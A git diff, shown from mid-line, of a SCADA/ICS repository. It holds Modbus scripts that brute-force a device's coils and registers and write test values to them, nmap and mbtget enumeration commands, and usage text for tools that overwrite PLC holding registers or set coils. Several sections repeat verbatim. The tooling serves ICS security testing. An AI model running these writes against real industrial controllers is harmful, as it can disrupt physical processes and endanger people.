pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + 